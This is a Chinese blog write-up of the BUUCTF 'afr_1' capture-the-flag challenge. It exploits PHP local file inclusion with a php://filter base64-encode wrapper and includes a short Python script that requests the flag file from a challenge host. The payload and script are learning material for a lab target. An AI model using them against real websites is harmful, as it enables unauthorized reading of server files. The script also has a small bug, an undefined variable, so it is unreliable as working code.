逗比学CTF.day6

buuctf_afr_1

一、开题

在这里插入图片描述

二、分析

在这里插入图片描述

打开题目,可以看出来这个一道文件包含的题目
先简单测试一下,将参数P的值,改成flag
在这里插入图片描述
页面变了,说明漏洞点没问题。下一步就是测试这个改变是被过滤了,还是正常读取,采用双写‘f’的方式进行测试,如果返回值依然是‘no no no’,那就是flag被过滤的,找方法绕过;如果返回值变了,就说明这条语句成功了,那就是已经正常读取了,通过php文件包含中的伪协议尝试登录读取flag文件。
在这里插入图片描述
页面果然发生了变化,说明是在flag文件里动了手脚。那么先使用file:filter/read=convert.base64-encode/resource=flag获得base64位编码 程序。然后哦解密就能得出flag

三、顺手写个python

# -*- coding : utf-8 -*-

import requests
import base64


def fileter(url, key, filename):
    fileu = url
    filek = key
    filebs = 'php://filter/read=convert.base64-encode/resource=%s' % file

    ff = requests.get('http://%s/?%s=%s' % (fileu, filek, filebs)).text
    print(base64.b64decode(ff))


def main():
    fileurl = 'efac8bd5-4f08-41d4-b372-998566d288a5.node3.buuoj.cn/'
    filekey = 'p'
    filename = 'flag'
    fileter(fileurl, filekey, filename)


if __name__ == '__main__':
    main()

最后这里推一个大佬的平台,里面详细讲解了php文件包含中各种伪协议
链接: https://www.cnblogs.com/ctfer/p/14258409.html.

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值